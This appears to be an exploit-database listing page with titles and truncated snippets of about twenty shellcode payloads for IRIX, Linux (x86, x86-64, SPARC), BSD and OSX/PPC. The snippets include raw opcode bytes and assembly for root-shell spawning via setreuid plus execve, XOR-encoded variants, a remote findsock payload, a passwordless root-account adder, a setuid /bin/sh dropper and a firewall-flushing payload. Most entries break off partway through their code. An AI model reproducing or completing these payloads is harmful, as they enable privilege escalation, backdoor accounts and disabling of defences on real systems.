IRIX - execve(/bin/sh) Shellcode (43 bytes)

IRIX - execve/bin/sh Shellcode 43 bytes. Shellcode exploit for IRIX platform char shellcode= "\x04\x10\xff\xff" / bltzal $zero, / "\x24\x02\x03\xf3" / li $v0,1011 / "\x23\xff\x02\x14" / addi $ra,$ra,532 / "\x23\xe4\xfe\x08" / addi $a0,$ra,-504 / "\x23\xe5\xfe\x10" / addi $a1,$ra,-496 /...

Linux/SPARC - setreuid(0,0) + execve(/bin/sh) Shellcode (64 bytes)

Linux/SPARC - setreuid0,0 + execve/bin/sh Shellcode 64 bytes. Shellcode exploit for LinuxSPARC platform / Linux/SPARC setreuid0,0; execve of /bin/sh shellcode. / char c0de = / anathema / / setreuid0,0; / "\x82\x10\x20\x7e" / mov 126, %g1 / "\x92\x22\x40\x09" / sub %o1, %o1, %o1 / "\x90\x0a\x40\x0...

Linux/x86 - setuid(0) + execve("/bin/sh",0,0) Shellcode (28 bytes)

Linux/x86 - setuid0 + execve"/bin/sh",0,0 Shellcode 28 bytes. Shellcode exploit for Linuxx86 platform / linux/x86 setuid0 & execve"/bin/sh",0,0 28 bytes http://www.gonullyourself.org sToRm I made this, because http://www.milw0rm.com/shellcode/7115 felt the need to express his "superior" 28-byte...

IRIX - execve(/bin/sh) Shellcode (68 bytes)

IRIX - execve/bin/sh Shellcode 68 bytes. Shellcode exploit for IRIX platform / 68 byte MIPS/Irix PIC execve shellcode. -scut/teso / unsigned long int shellcode = 0xafa0fffc, / sw $zero, -4$sp / 0x24067350, / li $a2, 0x7350 / / dpatch: / 0x04d0ffff, / bltzal $a2, dpatch / 0x8fa6fffc, / lw $a2, -4$...

Linux/x86 - execve(/bin/sh) Shellcode (21 bytes) (3)

Linux/x86 - execve/bin/sh Shellcode 21 bytes 3. Shellcode exploit for Linuxx86 platform / Title: linux/x86 Shellcode execve "/bin/sh" - 21 Bytes Date : 10 Feb 2011 Author : kernelpanik Thanks : cOokie, agix, antrhacks / / xor ecx, ecx mul ecx push ecx push 0x68732f2f ;; hs// push 0x6e69622f ;; ni...

Linux/x86 - setreuid(0,0) + execve("/bin/zsh", [/bin/zsh, NULL]) + XOR Encoded Shellcode (53 bytes)

Linux/x86 - setreuid0,0 + execve"/bin/zsh", /bin/zsh, NULL + XOR Encoded Shellcode 53 bytes. Shellcode exploit for Linuxx86 platform Title: Linux x86 setreuid 0,0 & execve"/bin/zsh", "/bin/zsh", NULL + XOR encoded - 53 bytes Author: egeektronic Twitter: @egeektronic Tested on: Slackware 13.37...

OSX/PPC - execve(/bin/sh,[/bin/sh],NULL) + exit() Shellcode (72 bytes)

OSX/PPC - execve/bin/sh,/bin/sh,NULL + exit Shellcode 72 bytes. Shellcode exploit for OSXPPC platform / MacOSX/PowerPC Shellcode for: execve"/bin/sh", "/bin/sh", NULL, exit 72 bytes hophet at gmail.com http://www.nlabs.com.br/hophet/ / include "stdio.h" include "string.h" char shellcode =...

Linux/x86 - Add Root User (w000t) + No Password Shellcode (177 bytes)

Linux/x86 - Add Root User w000t + No Password Shellcode 177 bytes. Shellcode exploit for Linuxx86 platform Linux x86 shellcode that uses execve and echo to create a passwordless root account. Author: zillion Email : [email protected] Homepage: safemode.org File: w000t-shell.c / This shellcode...

Linux/x86 - fork() + setreuid(0, 0) + execve(cp /bin/sh /tmp/sh; chmod 4755 /tmp/sh) Shellcode (126 bytes)

Linux/x86 - fork + setreuid0, 0 + execvecp /bin/sh /tmp/sh; chmod 4755 /tmp/sh Shellcode 126 bytes. Shellcode exploit for Linuxx86 platform / linux/x86 shamelessly ripped from one of my unpublished exploits / / fork's, does setreuid0, 0; then execve's: /bin/sh -c "cp /bin/sh /tmp/sh; chmod 4755...

IRIX - execve(/bin/sh -c) Shellcode (72 bytes)

IRIX - execve/bin/sh -c Shellcode 72 bytes. Shellcode exploit for IRIX platform char cmdshellcode= "\x04\x10\xff\xff" / bltzal $zero, / "\x24\x02\x03\xf3" / li $v0,1011 / "\x23\xff\x08\xf4" / addi $ra,$ra,2292 / "\x23\xe4\xf7\x40" / addi $a0,$ra,-2240 / "\x23\xe5\xfb\x24" / addi $a1,$ra,-1244 /...

Linux/x86 - setreuid(0,0) + execve("/bin/ksh", [/bin/ksh, NULL]) + XOR Encoded Shellcode (53 bytes)

Linux/x86 - setreuid0,0 + execve"/bin/ksh", /bin/ksh, NULL + XOR Encoded Shellcode 53 bytes. Shellcode exploit for Linuxx86 platform Title: Linux x86 setreuid 0,0 & execve"/bin/ksh", "/bin/ksh", NULL + XOR encoded - 53 bytes Author: egeektronic Twitter: @egeektronic Tested on: Slackware 13.37...

OSX/PPC - Remote findsock by recv() Key Shellcode

OSX/PPC - Remote findsock by recv Key Shellcode. Shellcode exploit for OSXPPC platform ;;; ;;; PowerPC OSX remote findsock by recv key shellcode ;;; ;;; Dino Dai Zovi , 20040816 ;;; .globl shellcode .text .set KEY, 0x5858580a .set PTHREADEXIT, 0x90017021 ; OSX 10.3.X shellcode: Lfindsock: addis...

Linux/x86-64 - setreuid(0,0) + execve(/bin/zsh, [/bin/zsh, NULL]) + XOR Encoded Shellcode (87 bytes)

Linux/x86-64 - setreuid0,0 + execve/bin/zsh, /bin/zsh, NULL + XOR Encoded Shellcode 87 bytes. Shellcode exploit for Linuxx86-64 platform Title: Linux x86-64 setreuid 0,0 & execve"/bin/zsh", "/bin/zsh", NULL + XOR encoded - 87 bytes Author: egeektronic Twitter: @egeektronic Tested on: Slackware...

BSD/x86 - execve(/bin/sh) Shellcode (28 bytes)

BSD/x86 - execve/bin/sh Shellcode 28 bytes. Shellcode exploit for BSDx86 platform / simply execvebinsh shellcode in 28 bytes written on nasm - my first nasm exp. greetz2: mig darknet /EFnet.org dev0id rus-sec /EFnet.org rootteam.void.ru / char shellcode =...

Linux/x86 - setuid(0) + execve(/bin/sh) Shellcode (29 bytes)

Linux/x86 - setuid0 + execve/bin/sh Shellcode 29 bytes. Shellcode exploit for Linuxx86 platform / 29 byte-long setuid0 + execve"/bin/sh",... shellcode by Marcin Ulikowski / include char shellcode = "\x31\xdb" / xor %ebx,%ebx / "\x8d\x43\x17" / lea 0x17%ebx,%eax / "\xcd\x80" / int $0x80 / "\x53" /...

Linux/x86 - execve(/bin/sh) Shellcode (28 bytes)

Linux/x86 - execve/bin/sh Shellcode 28 bytes. Shellcode exploit for Linuxx86 platform / Title: Linux x86 execve"/bin/sh" - 28 bytes Author: Jean Pascal Pereira Web: http://0xffe4.org Disassembly of section .text: 08048060 : 8048060: 31 c0 xor %eax,%eax 8048062: 50 push %eax 8048063: 68 2f 2f 73 6...

BSD/x86 - execve(/bin/sh) + seteuid(0) Shellcode (31 bytes)

BSD/x86 - execve/bin/sh + seteuid0 Shellcode 31 bytes. Shellcode exploit for BSDx86 platform / simply execvebinsh+seteuid0 shellcode in 31 bytes written on nasm - my first nasm exp. greetz2: mig darknet /EFnet.org nerf nerf /EFnet.org dev0id rus-sec /EFnet.org rootteam.void.ru / char shellcode =...

OSX/PPC - execve(/bin/sh) + Null-Free Shellcode

OSX/PPC - execve/bin/sh + Null-Free Shellcode. Shellcode exploit for OSXPPC platform ;;; $Id: ppc-execve.s,v 1.1 2003/03/01 01:10:48 ghandi Exp $ ;;; PPC MacOS X maybe others shellcode ;;; ;;; After assembly, change bytes 2 and 3 of the 'sc' instruction encoding ;;; from 0x00 to 0xff. ;;; ;;;...

Linux/x86-64 - setreuid(0,0) + execve(/bin/csh, [/bin/csh, NULL]) + XOR Encoded Shellcode (87 bytes)

Linux/x86-64 - setreuid0,0 + execve/bin/csh, /bin/csh, NULL + XOR Encoded Shellcode 87 bytes. Shellcode exploit for Linuxx86-64 platform Title: Linux x86-64 setreuid 0,0 & execve"/bin/csh", "/bin/csh", NULL + XOR encoded - 87 bytes Author: egeektronic Twitter: @egeektronic Tested on: Slackware...

Linux/x86 - execve(/sbin/ipchains -F) Shellcode (70 bytes)

Linux/x86 - execve/sbin/ipchains -F Shellcode 70 bytes. Shellcode exploit for Linuxx86 platform Author: zillion Email: [email protected] Homepage: http://www.safemode.org Linux x86 shell code that does an execve of /sbin/ipchains -F File name: flush-ipchains-shellcode.c / This shellcode will d...